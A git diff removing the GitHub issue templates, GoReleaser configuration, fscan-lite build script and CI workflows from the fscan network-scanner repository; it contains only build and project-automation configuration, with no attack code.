update icmp threads

.gitattributes

@@ -1,2 +0,0 @@
-# 统一换行符为 LF
-* text=auto eol=lf

.github/ISSUE_TEMPLATE/bug_report.yml

@@ -1,124 +0,0 @@
-name: 🐛 Bug 报告
-description: 报告扫描异常、崩溃或错误行为
-title: "[Bug] 简要描述问题"
-labels: ["bug"]
-
-body:
-  - type: markdown
-    attributes:
-      value: |
-        感谢您提交 Bug 报告！请尽可能详细地填写以下信息，这将帮助我们更快定位和修复问题。
-
-  - type: dropdown
-    id: module
-    attributes:
-      label: 问题模块
-      description: 问题出现在哪个功能模块？
-      options:
-        - 端口扫描 (Port Scan)
-        - 主机存活检测 (Host Discovery)
-        - 服务识别 (Service Detection)
-        - 弱口令爆破 (Brute Force)
-        - POC/漏洞扫描 (POC Scan)
-        - Web指纹识别 (Web Fingerprint)
-        - 输出/日志 (Output/Logging)
-        - 命令行参数 (CLI Arguments)
-        - 其他 (Other)
-    validations:
-      required: true
-
-  - type: dropdown
-    id: severity
-    attributes:
-      label: 严重程度
-      options:
-        - 崩溃/无法使用 (Crash)
-        - 功能异常 (Malfunction)
-        - 结果不准确 (Inaccurate)
-        - 性能问题 (Performance)
-        - 其他 (Other)
-    validations:
-      required: true
-
-  - type: textarea
-    id: description
-    attributes:
-      label: 问题描述
-      description: 清晰描述遇到的问题
-      placeholder: |
-        发生了什么？
-        预期的行为是什么？
-    validations:
-      required: true
-
-  - type: textarea
-    id: reproduce
-    attributes:
-      label: 复现步骤
-      description: 提供可以复现问题的命令或步骤
-      placeholder: |
-        1. 执行命令: fscan -h xxx -p xxx
-        2. 观察到...
-      render: shell
-    validations:
-      required: true
-
-  - type: textarea
-    id: output
-    attributes:
-      label: 错误输出
-      description: 粘贴相关的错误信息或日志（请脱敏敏感信息）
-      render: shell
-
-  - type: dropdown
-    id: version
-    attributes:
-      label: fscan 版本
-      options:
-        - 2.1.0
-        - 2.0.1
-        - 2.0.0
-        - 1.8.4
-        - 其他/自编译
-    validations:
-      required: true
-
-  - type: dropdown
-    id: os
-    attributes:
-      label: 操作系统
-      options:
-        - Windows 11
-        - Windows 10
-        - Windows Server 2022
-        - Windows Server 2019
-        - Ubuntu 22.04
-        - Ubuntu 20.04
-        - CentOS 7
-        - CentOS 8/Stream
-        - Debian 11/12
-        - Kali Linux
-        - macOS 14 (Sonoma)
-        - macOS 13 (Ventura)
-        - 其他 Linux
-        - 其他
-    validations:
-      required: true
-
-  - type: dropdown
-    id: arch
-    attributes:
-      label: 系统架构
-      options:
-        - amd64 (x86_64)
-        - arm64 (aarch64)
-        - 386 (x86)
-        - arm
-    validations:
-      required: true
-
-  - type: textarea
-    id: additional
-    attributes:
-      label: 补充信息
-      description: 其他可能有助于排查问题的信息（如自编译请注明 Go 版本）

.github/ISSUE_TEMPLATE/config.yml

@@ -1,11 +0,0 @@
-# Issue 模板配置
-# 禁止空白 issue，强制用户选择模板
-blank_issues_enabled: false
-
-contact_links:
-  - name: 📖 使用文档
-    url: https://github.com/shadow1ng/fscan/blob/main/README.md
-    about: 提交 Issue 前请先查阅文档
-  - name: 💬 讨论区
-    url: https://github.com/shadow1ng/fscan/discussions
-    about: 一般性问题和讨论请使用 Discussions

.github/ISSUE_TEMPLATE/false_positive.yml

@@ -1,117 +0,0 @@
-name: 🎯 误报/漏报
-description: 报告扫描结果不准确的问题
-title: "[Accuracy] 服务名 - 误报/漏报描述"
-labels: ["accuracy"]
-
-body:
-  - type: markdown
-    attributes:
-      value: |
-        感谢您帮助提高 fscan 的准确性！误报和漏报都是需要优化的问题。
-
-  - type: dropdown
-    id: type
-    attributes:
-      label: 问题类型
-      options:
-        - 误报 (False Positive) - 报告了不存在的问题
-        - 漏报 (False Negative) - 未能检测到存在的问题
-    validations:
-      required: true
-
-  - type: dropdown
-    id: category
-    attributes:
-      label: 涉及功能
-      options:
-        - 主机存活检测
-        - 端口状态判断
-        - 服务识别
-        - 弱口令检测
-        - POC/漏洞检测
-        - Web指纹识别
-        - 其他
-    validations:
-      required: true
-
-  - type: textarea
-    id: fscan-output
-    attributes:
-      label: fscan 输出结果
-      description: 粘贴相关的扫描输出（请脱敏敏感信息如真实IP、密码等）
-      render: shell
-    validations:
-      required: true
-
-  - type: textarea
-    id: actual
-    attributes:
-      label: 实际情况
-      description: 描述目标的真实状态
-      placeholder: |
-        实际上这个端口是关闭的 / 服务版本是 xxx / 密码不是 xxx...
-        验证方式: 通过 nmap/手动连接/其他工具 确认...
-    validations:
-      required: true
-
-  - type: dropdown
-    id: target-os
-    attributes:
-      label: 目标操作系统
-      options:
-        - Windows Server 2022
-        - Windows Server 2019
-        - Windows Server 2016
-        - Windows 10/11
-        - Ubuntu
-        - CentOS/RHEL
-        - Debian
-        - 其他 Linux
-        - 网络设备
-        - 未知
-    validations:
-      required: true
-
-  - type: dropdown
-    id: network
-    attributes:
-      label: 网络环境
-      options:
-        - 直连
-        - 通过代理
-        - VPN
-        - 跨网段
-    validations:
-      required: true
-
-  - type: textarea
-    id: command
-    attributes:
-      label: 使用的命令
-      description: 执行的 fscan 命令
-      placeholder: "fscan -h x.x.x.x -p 1-65535 -pwdf pass.txt"
-      render: shell
-    validations:
-      required: true
-
-  - type: dropdown
-    id: version
-    attributes:
-      label: fscan 版本
-      options:
-        - 2.1.0
-        - 2.0.1
-        - 2.0.0
-        - 1.8.4
-        - 其他/自编译
-    validations:
-      required: true
-
-  - type: textarea
-    id: suggestion
-    attributes:
-      label: 改进建议
-      description: 如果您有改进的想法，请分享
-      placeholder: |
-        建议增加 xxx 判断条件...
-        或者调整 xxx 检测逻辑...

.github/ISSUE_TEMPLATE/feature_request.yml

@@ -1,74 +0,0 @@
-name: ✨ 功能请求
-description: 提议新功能或改进现有功能
-title: "[Feature] 一句话描述功能"
-labels: ["enhancement"]
-
-body:
-  - type: markdown
-    attributes:
-      value: |
-        感谢您的功能建议！请详细描述您的需求，这将帮助我们评估和实现。
-
-  - type: dropdown
-    id: category
-    attributes:
-      label: 功能类别
-      options:
-        - 新扫描能力 (New Scan Capability)
-        - 性能优化 (Performance)
-        - 用户体验 (UX/CLI)
-        - 输出格式 (Output Format)
-        - 配置选项 (Configuration)
-        - 集成/API (Integration/API)
-        - 其他 (Other)
-    validations:
-      required: true
-
-  - type: textarea
-    id: problem
-    attributes:
-      label: 解决什么问题？
-      description: 描述您遇到的痛点或使用场景
-      placeholder: |
-        在进行 xxx 操作时，我希望能够...
-        目前的问题是...
-    validations:
-      required: true
-
-  - type: textarea
-    id: solution
-    attributes:
-      label: 期望的解决方案
-      description: 描述您希望的功能或行为
-      placeholder: |
-        希望能够通过 -xxx 参数来...
-        或者增加一个新的模块来...
-    validations:
-      required: true
-
-  - type: textarea
-    id: alternatives
-    attributes:
-      label: 替代方案
-      description: 您考虑过的其他解决方案或变通方法
-      placeholder: |
-        目前我通过 xxx 方式来解决，但是...
-
-  - type: dropdown
-    id: priority
-    attributes:
-      label: 优先级建议
-      description: 您认为这个功能的重要程度
-      options:
-        - 高 - 核心功能缺失
-        - 中 - 明显改善体验
-        - 低 - 锦上添花
-    validations:
-      required: true
-
-  - type: checkboxes
-    id: contribution
-    attributes:
-      label: 贡献意愿
-      options:
-        - label: 我愿意尝试实现这个功能并提交 PR

.github/ISSUE_TEMPLATE/plugin_request.yml

@@ -1,88 +0,0 @@
-name: 🔌 新插件/协议支持
-description: 请求支持新的服务、协议或漏洞检测
-title: "[Plugin] 协议/服务名称"
-labels: ["plugin", "enhancement"]
-
-body:
-  - type: markdown
-    attributes:
-      value: |
-        感谢您的插件请求！fscan 持续扩展对各种服务和协议的支持。
-
-  - type: dropdown
-    id: type
-    attributes:
-      label: 请求类型
-      options:
-        - 新服务/协议支持 (New Service)
-        - 新弱口令检测 (New Brute Force)
-        - 新漏洞 POC (New POC)
-        - 新指纹识别 (New Fingerprint)
-    validations:
-      required: true
-
-  - type: input
-    id: service
-    attributes:
-      label: 服务/协议名称
-      placeholder: "如: Kafka, ClickHouse, etcd, Consul"
-    validations:
-      required: true
-
-  - type: input
-    id: port
-    attributes:
-      label: 默认端口
-      placeholder: "如: 9092, 8123, 2379"
-
-  - type: textarea
-    id: description
-    attributes:
-      label: 服务描述
-      description: 简要介绍这个服务/协议
-      placeholder: |
-        这是一个用于 xxx 的服务...
-        在内网环境中常见于...
-    validations:
-      required: true
-
-  - type: textarea
-    id: detection
-    attributes:
-      label: 识别方法
-      description: 如何识别/检测这个服务（如有了解）
-      placeholder: |
-        Banner 特征: xxx
-        默认响应: xxx
-        认证方式: xxx
-
-  - type: textarea
-    id: reference
-    attributes:
-      label: 参考资料
-      description: 相关文档、其他工具实现、漏洞详情等
-      placeholder: |
-        - 官方文档: https://...
-        - 其他工具实现: https://...
-        - CVE编号: CVE-xxxx-xxxx
-
-  - type: dropdown
-    id: prevalence
-    attributes:
-      label: 使用普遍程度
-      description: 这个服务在目标环境中的常见程度
-      options:
-        - 非常常见 (企业环境标配)
-        - 较为常见 (经常遇到)
-        - 偶尔遇到
-        - 较少见但重要
-    validations:
-      required: true
-
-  - type: checkboxes
-    id: contribution
-    attributes:
-      label: 贡献意愿
-      options:
-        - label: 我愿意尝试实现这个插件并提交 PR
-        - label: 我可以提供测试环境

.github/actions/build-release/action.yml

@@ -1,103 +0,0 @@
-name: '构建和发布'
-description: 'fscan 可复用构建动作'
-
-inputs:
-  mode:
-    description: '构建模式: release 或 snapshot'
-    required: true
-    default: 'snapshot'
-  go-version:
-    description: 'Go 版本'
-    required: false
-    default: '1.20'
-  retention-days:
-    description: '产物保留天数'
-    required: false
-    default: '7'
-  release-args:
-    description: '额外的 goreleaser 参数'
-    required: false
-    default: ''
-
-runs:
-  using: 'composite'
-  steps:
-    - name: 设置 Go 环境
-      uses: actions/setup-go@v5
-      with:
-        go-version: ${{ inputs.go-version }}
-        cache: true
-
-    - name: 安装 C 编译工具
-      shell: bash
-      run: |
-        sudo apt-get update -qq
-        sudo apt-get install -y gcc make mingw-w64 gcc-multilib g++-multilib
-
-    - name: 下载依赖
-      shell: bash
-      run: |
-        go mod download
-        go mod verify
-
-    - name: 安装 UPX
-      uses: crazy-max/ghaction-upx@v3
-      with:
-        install-only: true
-
-    - name: 使用 GoReleaser 构建
-      uses: goreleaser/goreleaser-action@v6
-      with:
-        distribution: goreleaser
-        version: latest
-        args: release ${{ inputs.mode == 'snapshot' && '--snapshot' || '' }} --clean -f .github/conf/.goreleaser.yml ${{ inputs.release-args }}
-      env:
-        GITHUB_TOKEN: ${{ github.token }}
-        GITHUB_OWNER: ${{ github.repository_owner }}
-        GITHUB_REPO: ${{ github.event.repository.name }}
-        PROJECT_NAME: ${{ github.event.repository.name }}
-
-    - name: 上传产物
-      uses: actions/upload-artifact@v4
-      if: always()
-      with:
-        name: build-${{ inputs.mode }}-${{ github.run_id }}
-        path: |
-          dist/
-          dist-lite/
-        retention-days: ${{ inputs.retention-days }}
-
-    - name: 生成报告
-      shell: bash
-      if: always()
-      run: |
-        cat >> $GITHUB_STEP_SUMMARY << EOF
-        # 构建报告
-
-        | 项目 | 值 |
-        |------|-----|
-        | 模式 | \`${{ inputs.mode }}\` |
-        | 版本 | \`${GITHUB_REF_NAME}\` |
-        | 提交 | \`${GITHUB_SHA:0:7}\` |
-        | Go | \`$(go version | awk '{print $3}')\` |
-
-        ## 构建产物
-
-        ### fscan (Go 版本)
-        $(if [ -d "dist" ]; then
-          echo "- 文件数: $(find dist -type f 2>/dev/null | wc -l)"
-          echo "- 大小: $(du -sh dist 2>/dev/null | cut -f1)"
-        else
-          echo "- 无产物"
-        fi)
-
-        ### fscan-lite (C 版本)
-        $(if [ -d "dist-lite" ]; then
-          echo "- 文件数: $(find dist-lite -type f 2>/dev/null | wc -l)"
-          echo "- 大小: $(du -sh dist-lite 2>/dev/null | cut -f1)"
-        else
-          echo "- 无产物"
-        fi)
-
-        [查看产物](https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }})
-        EOF

.github/conf/.goreleaser.yml

@@ -1,248 +0,0 @@
-project_name: "fscan"
-
-before:
-  hooks:
-    - go mod tidy
-    - go mod download
-    - chmod +x .github/scripts/build-lite.sh
-    - bash .github/scripts/build-lite.sh {{ .Version }}
-
-builds:
-  # 标准版 - 全部插件（全架构）
-  - id: fscan
-    binary: fscan
-    main: .
-    env:
-      - CGO_ENABLED=0
-    goos: [windows, linux, darwin, freebsd, solaris]
-    goarch: [amd64, arm64, "386", arm, mips, mips64, mipsle]
-    goarm: ["5", "6", "7"]
-    gomips: [softfloat]
-    ignore:
-      - goos: darwin
-        goarch: "386"
-      - goos: darwin
-        goarch: arm
-      - goos: darwin
-        goarch: mips
-      - goos: darwin
-        goarch: mips64
-      - goos: darwin
-        goarch: mipsle
-      - goos: windows
-        goarch: arm64
-      - goos: windows
-        goarch: arm
-      - goos: windows
-        goarch: mips
-      - goos: windows
-        goarch: mips64
-      - goos: windows
-        goarch: mipsle
-      - goos: freebsd
-        goarch: mips
-      - goos: freebsd
-        goarch: mips64
-      - goos: freebsd
-        goarch: mipsle
-      - goos: solaris
-        goarch: "386"
-      - goos: solaris
-        goarch: arm
-      - goos: solaris
-        goarch: arm64
-      - goos: solaris
-        goarch: mips
-      - goos: solaris
-        goarch: mips64
-      - goos: solaris
-        goarch: mipsle
-    flags: [-trimpath]
-    ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }}
-    mod_timestamp: "{{ .CommitTimestamp }}"
-
-  # 无本地插件版 - 排除本地模块（全架构）
-  - id: fscan-nolocal
-    binary: fscan
-    main: .
-    env:
-      - CGO_ENABLED=0
-    goos: [windows, linux, darwin, freebsd, solaris]
-    goarch: [amd64, arm64, "386", arm, mips, mips64, mipsle]
-    goarm: ["5", "6", "7"]
-    gomips: [softfloat]
-    ignore:
-      - goos: darwin
-        goarch: "386"
-      - goos: darwin
-        goarch: arm
-      - goos: darwin
-        goarch: mips
-      - goos: darwin
-        goarch: mips64
-      - goos: darwin
-        goarch: mipsle
-      - goos: windows
-        goarch: arm64
-      - goos: windows
-        goarch: arm
-      - goos: windows
-        goarch: mips
-      - goos: windows
-        goarch: mips64
-      - goos: windows
-        goarch: mipsle
-      - goos: freebsd
-        goarch: mips
-      - goos: freebsd
-        goarch: mips64
-      - goos: freebsd
-        goarch: mipsle
-      - goos: solaris
-        goarch: "386"
-      - goos: solaris
-        goarch: arm
-      - goos: solaris
-        goarch: arm64
-      - goos: solaris
-        goarch: mips
-      - goos: solaris
-        goarch: mips64
-      - goos: solaris
-        goarch: mipsle
-    flags: [-trimpath]
-    tags: [no_local]
-    ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }}
-    mod_timestamp: "{{ .CommitTimestamp }}"
-
-  # WebUI版 - 主流平台即可
-  - id: fscan-web
-    binary: fscan
-    main: .
-    env:
-      - CGO_ENABLED=0
-    goos: [windows, linux, darwin]
-    goarch: [amd64, arm64, "386"]
-    goarm: ["7"]
-    ignore:
-      - goos: darwin
-        goarch: "386"
-      - goos: windows
-        goarch: arm64
-    flags: [-trimpath]
-    tags: [web]
-    ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }}
-    mod_timestamp: "{{ .CommitTimestamp }}"
-
-upx:
-  - ids: [fscan, fscan-nolocal, fscan-web]
-    enabled: true
-    goos: [windows, linux, freebsd]
-    goarch: [amd64, "386", arm, arm64, mips, mipsle]
-    compress: best
-    brute: false
-    lzma: false
-
-archives:
-  # 标准版归档
-  - id: fscan
-    builds: [fscan]
-    format: binary
-    allow_different_binary_count: true
-    name_template: >-
-      fscan_{{ .Version }}_
-      {{- if eq .Os "darwin" }}mac
-      {{- else }}{{ .Os }}{{ end }}_
-      {{- if eq .Arch "amd64" }}x64
-      {{- else if eq .Arch "386" }}x32
-      {{- else }}{{ .Arch }}{{ end }}
-      {{- if .Arm }}v{{ .Arm }}{{ end }}
-
-  # 无本地插件版归档
-  - id: fscan-nolocal
-    builds: [fscan-nolocal]
-    format: binary
-    allow_different_binary_count: true
-    name_template: >-
-      fscan-nolocal_{{ .Version }}_
-      {{- if eq .Os "darwin" }}mac
-      {{- else }}{{ .Os }}{{ end }}_
-      {{- if eq .Arch "amd64" }}x64
-      {{- else if eq .Arch "386" }}x32
-      {{- else }}{{ .Arch }}{{ end }}
-      {{- if .Arm }}v{{ .Arm }}{{ end }}
-
-  # WebUI版归档
-  - id: fscan-web
-    builds: [fscan-web]
-    format: binary
-    allow_different_binary_count: true
-    name_template: >-
-      fscan-web_{{ .Version }}_
-      {{- if eq .Os "darwin" }}mac
-      {{- else }}{{ .Os }}{{ end }}_
-      {{- if eq .Arch "amd64" }}x64
-      {{- else if eq .Arch "386" }}x32
-      {{- else }}{{ .Arch }}{{ end }}
-      {{- if .Arm }}v{{ .Arm }}{{ end }}
-
-checksum:
-  name_template: 'checksums.txt'
-  algorithm: sha256
-
-changelog:
-  sort: asc
-  use: github
-  filters:
-    exclude:
-      - "^(docs|test|ci|chore):"
-      - "Merge (pull request|branch)"
-  groups:
-    - title: "🚀 新功能"
-      regexp: "^.*feat[(\\w)]*:+.*$"
-      order: 0
-    - title: "🐛 问题修复"
-      regexp: "^.*fix[(\\w)]*:+.*$"
-      order: 1
-    - title: "🔧 其他改进"
-      order: 999
-
-release:
-  github:
-    owner: "{{ .Env.GITHUB_OWNER }}"
-    name: "{{ .Env.GITHUB_REPO }}"
-  draft: false
-  prerelease: auto
-  mode: replace
-  header: |
-    ## {{ .ProjectName }} {{ .Tag }}
-
-    感谢使用 {{ .ProjectName }}！
-
-    ### 版本说明
-
-    | 版本 | 说明 |
-    |------|------|
-    | **fscan** | 标准版，包含全部插件（推荐） |
-    | **fscan-nolocal** | 精简版，不含本地模块（体积更小） |
-    | **fscan-web** | WebUI版，带Web管理界面（主流平台） |
-
-    ### 平台支持
-
-    | 平台 | 架构 |
-    |------|------|
-    | Linux | x64, x32, arm64, armv5, armv6, armv7, mips, mips64, mipsle |
-    | Windows | x64, x32 |
-    | macOS | x64, arm64 |
-    | FreeBSD | x64, x32, arm64, armv5, armv6, armv7 |
-    | Solaris | x64 |
-  footer: |
-    **完整更新日志**: https://github.com/{{ .Env.GITHUB_OWNER }}/{{ .Env.GITHUB_REPO }}/compare/{{ .PreviousTag }}...{{ .Tag }}
-  extra_files:
-    - glob: ./dist-lite/*
-
-snapshot:
-  name_template: "{{ incpatch .Version }}-dev-{{ .ShortCommit }}"
-
-metadata:
-  mod_timestamp: "{{ .CommitTimestamp }}"

.github/scripts/build-lite.sh

@@ -1,81 +0,0 @@
-#!/bin/bash
-# 构建 fscan-lite 并准备发布产物
-
-set -e
-
-VERSION="${1:-dev}"
-LITE_DIR="fscan-lite"
-OUTPUT_DIR="dist-lite"
-
-echo "==> 构建 fscan-lite (版本: $VERSION)"
-
-# 清理旧产物
-rm -rf "$OUTPUT_DIR"
-mkdir -p "$OUTPUT_DIR"
-
-# 进入 lite 目录
-cd "$LITE_DIR"
-
-# 源文件
-SOURCES="src/main.c src/scanner.c src/platform.c"
-INCLUDE="-Iinclude"
-CFLAGS_BASE="-std=c89 -Wall -O2"
-
-# 构建 Linux 版本
-echo "==> 构建 Linux 版本..."
-
-# Linux x64
-echo "  - Linux x64"
-mkdir -p bin
-gcc $CFLAGS_BASE $INCLUDE -o bin/fscan-lite $SOURCES -lpthread
-cp bin/fscan-lite "../$OUTPUT_DIR/fscan-lite_${VERSION}_linux_x64"
-rm -rf bin
-
-# Linux x32
-echo "  - Linux x32"
-mkdir -p bin
-gcc $CFLAGS_BASE -m32 $INCLUDE -o bin/fscan-lite $SOURCES -lpthread 2>/dev/null || echo "    (跳过: 缺少 32-bit 支持)"
-if [ -f bin/fscan-lite ]; then
-    cp bin/fscan-lite "../$OUTPUT_DIR/fscan-lite_${VERSION}_linux_x32"
-fi
-rm -rf bin
-
-# 构建 Windows 版本
-echo "==> 构建 Windows 版本..."
-
-# Windows x64
-echo "  - Windows x64"
-mkdir -p bin
-x86_64-w64-mingw32-gcc $CFLAGS_BASE $INCLUDE -o bin/fscan-lite.exe $SOURCES -lws2_32 -static
-if [ -f bin/fscan-lite.exe ]; then
-    cp bin/fscan-lite.exe "../$OUTPUT_DIR/fscan-lite_${VERSION}_windows_x64.exe"
-    echo "    ✓ 编译成功"
-else
-    echo "    ✗ 编译失败"
-fi
-rm -rf bin
-
-# Windows x32
-echo "  - Windows x32"
-mkdir -p bin
-i686-w64-mingw32-gcc $CFLAGS_BASE $INCLUDE -o bin/fscan-lite.exe $SOURCES -lws2_32 -static
-if [ -f bin/fscan-lite.exe ]; then
-    cp bin/fscan-lite.exe "../$OUTPUT_DIR/fscan-lite_${VERSION}_windows_x32.exe"
-    echo "    ✓ 编译成功"
-else
-    echo "    ✗ 编译失败"
-fi
-rm -rf bin
-
-cd ..
-
-# 统计产物
-echo ""
-echo "==> 构建完成！"
-echo "产物列表："
-if [ -d "$OUTPUT_DIR" ]; then
-    ls -lh "$OUTPUT_DIR" 2>/dev/null || echo "  (无产物)"
-    echo ""
-    FILECOUNT=$(ls "$OUTPUT_DIR" 2>/dev/null | wc -l)
-    echo "总计: $FILECOUNT 个文件"
-fi

.github/workflows/issue-project.yml

@@ -1,81 +0,0 @@
-name: Project 自动化
-
-on:
-  issues:
-    types: [opened, closed, reopened]
-
-env:
-  PROJECT_URL: https://github.com/users/shadow1ng/projects/1
-
-jobs:
-  # Issue/PR 创建时添加到 Project，状态设为"要搞"
-  add-to-project:
-    if: github.event.action == 'opened'
-    runs-on: ubuntu-latest
-    steps:
-      - name: Add to project
-        uses: actions/[email protected]
-        id: add
-        with:
-          project-url: ${{ env.PROJECT_URL }}
-          github-token: ${{ secrets.GITHUB_TOKEN }}
-
-      - name: Set status to 要搞
-        env:
-          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-        run: |
-          gh project item-edit \
-            --project-id PVT_kwHOAl0Kfs4BCgG2 \
-            --id ${{ steps.add.outputs.itemId }} \
-            --field-id PVTSSF_lAHOAl0Kfs4BCgG2zg0sX8A \
-            --single-select-option-id f75ad846
-
-  # Issue/PR 关闭时状态设为"搞定"
-  close-item:
-    if: github.event.action == 'closed'
-    runs-on: ubuntu-latest
-    steps:
-      - name: Get item ID
-        id: get-item
-        env:
-          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-        run: |
-          ITEM_ID=$(gh project item-list 1 --owner shadow1ng --format json | \
-            jq -r '.items[] | select(.content.number == ${{ github.event.issue.number || github.event.pull_request.number }}) | .id')
-          echo "item_id=$ITEM_ID" >> $GITHUB_OUTPUT
-
-      - name: Set status to 搞定
-        if: steps.get-item.outputs.item_id != ''
-        env:
-          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-        run: |
-          gh project item-edit \
-            --project-id PVT_kwHOAl0Kfs4BCgG2 \
-            --id ${{ steps.get-item.outputs.item_id }} \
-            --field-id PVTSSF_lAHOAl0Kfs4BCgG2zg0sX8A \
-            --single-select-option-id 98236657
-
-  # Issue/PR 重新打开时状态设为"在搞"
-  reopen-item:
-    if: github.event.action == 'reopened'
-    runs-on: ubuntu-latest
-    steps:
-      - name: Get item ID
-        id: get-item
-        env:
-          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-        run: |
-          ITEM_ID=$(gh project item-list 1 --owner shadow1ng --format json | \
-            jq -r '.items[] | select(.content.number == ${{ github.event.issue.number || github.event.pull_request.number }}) | .id')
-          echo "item_id=$ITEM_ID" >> $GITHUB_OUTPUT
-
-      - name: Set status to 在搞
-        if: steps.get-item.outputs.item_id != ''
-        env:
-          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-        run: |
-          gh project item-edit \
-            --project-id PVT_kwHOAl0Kfs4BCgG2 \
-            --id ${{ steps.get-item.outputs.item_id }} \
-            --field-id PVTSSF_lAHOAl0Kfs4BCgG2zg0sX8A \
-            --single-select-option-id 47fc9ee4

.github/workflows/release.yml

@@ -1,42 +0,0 @@
-name: 发布
-
-on:
-  push:
-    tags:
-      - 'v*'
-  workflow_dispatch:
-    inputs:
-      snapshot:
-        description: '仅测试构建（不发布）'
-        type: boolean
-        default: false
-      draft:
-        description: '创建草稿发布'
-        type: boolean
-        default: false
-      prerelease:
-        description: '标记为预发布'
-        type: boolean
-        default: false
-
-permissions:
-  contents: write
-
-jobs:
-  release:
-    runs-on: ubuntu-latest
-    timeout-minutes: 90
-
-    steps:
-      - name: 检出代码
-        uses: actions/checkout@v4
-        with:
-          fetch-depth: 0
-
-      - name: 构建和发布
-        uses: ./.github/actions/build-release
-        with:
-          mode: ${{ inputs.snapshot && 'snapshot' || 'release' }}
-          go-version: '1.20'
-          retention-days: '90'
-          release-args: ${{ inputs.draft && '--draft' || '' }} ${{ inputs.prerelease && '--prerelease' || '' }}

.github/workflows/test-build.yml

@@ -1,202 +0,0 @@
-name: 测试构建
-
-on:
-  push:
-    branches:
-      - main
-      - dev
-      - dev-*
-      - develop
-      - feature/*
-    paths-ignore:
-      - '*.md'
-      - '*.txt'
-      - 'README*'
-      - 'LICENSE*'
-      - 'image/**'
-      - 'TestDocker/**'
-      - '**/*.png'
-      - '**/*.jpg'
-      - '**/*.jpeg'
-  pull_request:
-    branches:
-      - main
-      - master
-      - dev
-    paths-ignore:
-      - '*.md'
-      - '*.txt'
-      - 'README*'
-      - 'LICENSE*'
-      - 'image/**'
-      - 'TestDocker/**'
-      - '**/*.png'
-      - '**/*.jpg'
-      - '**/*.jpeg'
-  workflow_dispatch:
-
-permissions:
-  contents: read
-
-jobs:
-  lint:
-    name: 代码检查
-    runs-on: ubuntu-latest
-    timeout-minutes: 10
-
-    steps:
-      - name: 检出代码
-        uses: actions/checkout@v4
-
-      - name: 设置 Go 环境
-        uses: actions/setup-go@v5
-        with:
-          go-version: '1.23'
-          cache: true
-
-      - name: 运行 golangci-lint
-        run: |
-          # 安装 golangci-lint v2
-          go install github.com/golangci/golangci-lint/v2/cmd/[email protected]
-
-          # 运行检查并灵活处理结果
-          set +e
-          golangci-lint run --timeout=5m > lint_output.txt 2>&1
-          LINT_EXIT_CODE=$?
-          cat lint_output.txt
-          set -e
-
-          # 只关注真正的 bug，忽略代码质量建议
-          # 过滤规则：
-          # - gocognit/gocyclo: 复杂度警告（阈值已在配置中设置）
-          # - QF/S/ST: staticcheck 的代码质量改进建议（非bug）
-          if [ $LINT_EXIT_CODE -ne 0 ]; then
-            CRITICAL_ISSUES=$(grep -E "\.go:[0-9]+:[0-9]+:" lint_output.txt | grep -v "gocognit" | grep -v "gocyclo" | grep -v "QF[0-9]" | grep -v " S[0-9]" | grep -v "ST[0-9]" || true)
-            if [ -n "$CRITICAL_ISSUES" ]; then
-              echo "❌ Linting failed with critical issues:"
-              echo "$CRITICAL_ISSUES" | head -20
-              exit 1
-            else
-              echo "⚠️  Only quality suggestions - PASSING"
-              exit 0
-            fi
-          fi
-          echo "✅ No lint issues found"
-
-      - name: 检查代码复杂度（质量门禁）
-        run: |
-          echo "### 🚦 复杂度质量门禁" >> $GITHUB_STEP_SUMMARY
-          echo "" >> $GITHUB_STEP_SUMMARY
-
-          # 检查认知复杂度>80的函数
-          COMPLEX_FUNCS=$(golangci-lint run --disable-all --enable=gocognit --out-format=line-number 2>&1 | grep "cognitive complexity" | grep -v "typechecking" || true)
-
-          if [ -n "$COMPLEX_FUNCS" ]; then
-            HIGH_COMPLEX=$(echo "$COMPLEX_FUNCS" | awk '{print $NF}' | sed 's/[()]//g' | awk -F'>' '{if ($1 > 80) print}' | wc -l)
-
-            if [ "$HIGH_COMPLEX" -gt 0 ]; then
-              echo "❌ **发现 $HIGH_COMPLEX 个复杂度>80的函数**" >> $GITHUB_STEP_SUMMARY
-              echo "" >> $GITHUB_STEP_SUMMARY
-              echo '```' >> $GITHUB_STEP_SUMMARY
-              echo "$COMPLEX_FUNCS" | awk '{print $NF}' | sed 's/[()]//g' | awk -F'>' '{if ($1 > 80) print "复杂度:", $1, "- 必须重构"}' >> $GITHUB_STEP_SUMMARY
-              echo '```' >> $GITHUB_STEP_SUMMARY
-              echo "" >> $GITHUB_STEP_SUMMARY
-              echo "⚠️ 请重构复杂度>80的函数后再提交" >> $GITHUB_STEP_SUMMARY
-              exit 1
-            fi
-          fi
-
-          echo "✅ 代码复杂度检查通过（所有函数≤80）" >> $GITHUB_STEP_SUMMARY
-
-  test:
-    name: 单元测试和构建
-    runs-on: ubuntu-latest
-    timeout-minutes: 10
-    needs: lint
-
-    steps:
-      - name: 检出代码
-        uses: actions/checkout@v4
-
-      - name: 设置 Go 环境
-        uses: actions/setup-go@v5
-        with:
-          go-version: '1.20'
-          cache: true
-
-      - name: 下载依赖
-        run: |
-          go mod download
-          go mod verify
-
-      - name: 运行测试
-        run: |
-          # 排除第三方grdp库测试（存在环境依赖问题）
-          go test -vet=off -race -coverprofile=coverage.out -covermode=atomic $(go list ./... | grep -v '/mylib/grdp/')
-
-      - name: 上传覆盖率
-        uses: actions/upload-artifact@v4
-        with:
-          name: coverage-report
-          path: coverage.out
-          retention-days: 7
-
-      - name: 显示覆盖率
-        run: |
-          echo "### 测试覆盖率报告" >> $GITHUB_STEP_SUMMARY
-          echo "" >> $GITHUB_STEP_SUMMARY
-          go tool cover -func=coverage.out >> $GITHUB_STEP_SUMMARY
-
-      - name: 检查覆盖率（质量门禁）
-        run: |
-          echo "" >> $GITHUB_STEP_SUMMARY
